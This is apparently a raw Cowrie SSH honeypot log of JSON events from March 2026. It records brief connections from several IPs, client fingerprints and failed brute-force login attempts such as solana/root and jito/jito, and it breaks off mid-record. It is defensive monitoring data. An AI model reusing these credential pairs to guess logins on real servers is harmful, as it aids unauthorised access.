{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49862,"dst_ip":"159.203.135.109","dst_port":22,"session":"b364104dc916","protocol":"ssh","message":"New connection: 195.178.110.218:49862 (159.203.135.109:22) [session: b364104dc916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:03.329374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:03.333241Z","src_ip":"195.178.110.218","session":"b364104dc916","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:03.418934Z","src_ip":"195.178.110.218","session":"b364104dc916","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"firedancer","message":"login attempt [sol/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:03.656527Z","src_ip":"195.178.110.218","session":"b364104dc916","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:04.737625Z","src_ip":"195.178.110.218","session":"b364104dc916","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":47840,"dst_ip":"159.203.135.109","dst_port":22,"session":"3366ef066623","protocol":"ssh","message":"New connection: 160.191.244.236:47840 (159.203.135.109:22) [session: 3366ef066623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:29.061257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:29.066230Z","src_ip":"160.191.244.236","session":"3366ef066623","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:29.295681Z","src_ip":"160.191.244.236","session":"3366ef066623","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vanessa","password":"vanessa123","message":"login attempt [vanessa/vanessa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:30.327276Z","src_ip":"160.191.244.236","session":"3366ef066623","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:31.567603Z","src_ip":"160.191.244.236","session":"3366ef066623","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":42788,"dst_ip":"159.203.135.109","dst_port":22,"session":"687dc12e6d3f","protocol":"ssh","message":"New connection: 2.57.122.96:42788 (159.203.135.109:22) [session: 687dc12e6d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:34.414619Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:34.441935Z","src_ip":"2.57.122.96","session":"687dc12e6d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:34.565648Z","src_ip":"2.57.122.96","session":"687dc12e6d3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:35.162891Z","src_ip":"2.57.122.96","session":"687dc12e6d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:17:36.273495Z","src_ip":"2.57.122.96","session":"687dc12e6d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.0.12.92","src_port":54671,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccae3c4b7dc6","protocol":"ssh","message":"New connection: 139.0.12.92:54671 (159.203.135.109:22) [session: ccae3c4b7dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:14.427144Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:14.684640Z","src_ip":"139.0.12.92","session":"ccae3c4b7dc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44130,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fd4976c78ca","protocol":"ssh","message":"New connection: 193.32.162.145:44130 (159.203.135.109:22) [session: 9fd4976c78ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:30.998273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:31.002958Z","src_ip":"193.32.162.145","session":"9fd4976c78ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:31.108479Z","src_ip":"193.32.162.145","session":"9fd4976c78ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"trader","message":"login attempt [trader/trader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:31.417247Z","src_ip":"193.32.162.145","session":"9fd4976c78ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:32.521944Z","src_ip":"193.32.162.145","session":"9fd4976c78ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":52908,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb074de107f6","protocol":"ssh","message":"New connection: 154.221.28.214:52908 (159.203.135.109:22) [session: cb074de107f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:33.323185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:33.326508Z","src_ip":"154.221.28.214","session":"cb074de107f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:33.533293Z","src_ip":"154.221.28.214","session":"cb074de107f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vishal","password":"vishalpassword","message":"login attempt [vishal/vishalpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:34.393720Z","src_ip":"154.221.28.214","session":"cb074de107f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:18:35.602311Z","src_ip":"154.221.28.214","session":"cb074de107f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":44624,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc25e5e4057f","protocol":"ssh","message":"New connection: 196.188.63.205:44624 (159.203.135.109:22) [session: bc25e5e4057f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:04.585657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:04.590611Z","src_ip":"196.188.63.205","session":"bc25e5e4057f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:04.804195Z","src_ip":"196.188.63.205","session":"bc25e5e4057f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test","message":"login attempt [test2/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:05.674231Z","src_ip":"196.188.63.205","session":"bc25e5e4057f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:06.889235Z","src_ip":"196.188.63.205","session":"bc25e5e4057f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36022,"dst_ip":"159.203.135.109","dst_port":22,"session":"c47cc84d270f","protocol":"ssh","message":"New connection: 195.178.110.218:36022 (159.203.135.109:22) [session: c47cc84d270f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:39.293598Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:39.298941Z","src_ip":"195.178.110.218","session":"c47cc84d270f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:39.378535Z","src_ip":"195.178.110.218","session":"c47cc84d270f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:39.617696Z","src_ip":"195.178.110.218","session":"c47cc84d270f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:19:40.700348Z","src_ip":"195.178.110.218","session":"c47cc84d270f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.236","src_port":59304,"dst_ip":"159.203.135.109","dst_port":22,"session":"04cd35ba5f68","protocol":"ssh","message":"New connection: 160.191.244.236:59304 (159.203.135.109:22) [session: 04cd35ba5f68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:14.729504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:14.734900Z","src_ip":"160.191.244.236","session":"04cd35ba5f68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:14.970558Z","src_ip":"160.191.244.236","session":"04cd35ba5f68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lingan","password":"password","message":"login attempt [lingan/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:15.965592Z","src_ip":"160.191.244.236","session":"04cd35ba5f68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:17.202978Z","src_ip":"160.191.244.236","session":"04cd35ba5f68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":35542,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea5233c55d9","protocol":"ssh","message":"New connection: 2.57.122.96:35542 (159.203.135.109:22) [session: 1ea5233c55d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:33.791743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:20:33.797283Z","src_ip":"2.57.122.96","session":"1ea5233c55d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa